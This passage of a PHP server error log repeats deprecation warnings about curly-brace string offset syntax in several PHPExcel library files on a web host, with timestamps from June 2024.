/home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 03:09:17 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 03:18:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 03:18:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 03:18:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 03:18:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 03:18:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 03:18:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 03:21:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 03:27:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 03:27:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 03:27:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 03:27:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 03:27:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 03:27:53 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 04:14:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 04:14:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 04:14:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 04:14:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 04:14:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 04:14:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 04:26:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 04:26:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 04:26:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 04:26:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 04:26:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 04:26:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [19-Jun-2024 22:34:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 321 [19-Jun-2024 22:34:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 324 [19-Jun-2024 22:34:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 562 [19-Jun-2024 22:34:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 612 [19-Jun-2024 22:34:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [19-Jun-2024 22:34:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [19-Jun-2024 22:34:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [19-Jun-2024 22:34:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [19-Jun-2024 22:34:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [19-Jun-2024 22:34:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 15:55:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 15:55:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 15:55:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 15:55:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 15:55:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 15:55:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 15:55:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 15:55:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 15:55:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 15:55:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 15:55:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 15:55:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 15:55:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [21-Jun-2024 15:55:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [21-Jun-2024 15:55:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 812 [21-Jun-2024 15:55:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 815 [21-Jun-2024 15:55:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 818 [21-Jun-2024 15:55:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 821 [21-Jun-2024 15:55:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 15:55:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 15:55:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 15:55:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 15:55:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 15:55:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 15:55:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 15:55:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 15:55:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 15:55:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 15:55:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 15:55:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [21-Jun-2024 15:55:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 321 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 324 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 562 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 612 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 15:55:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 15:55:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 15:55:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 15:55:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 15:55:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 15:55:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 15:55:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 15:55:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 15:55:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 15:55:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 15:55:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 15:55:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 15:55:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 15:55:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 15:55:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 15:55:38 UTC] 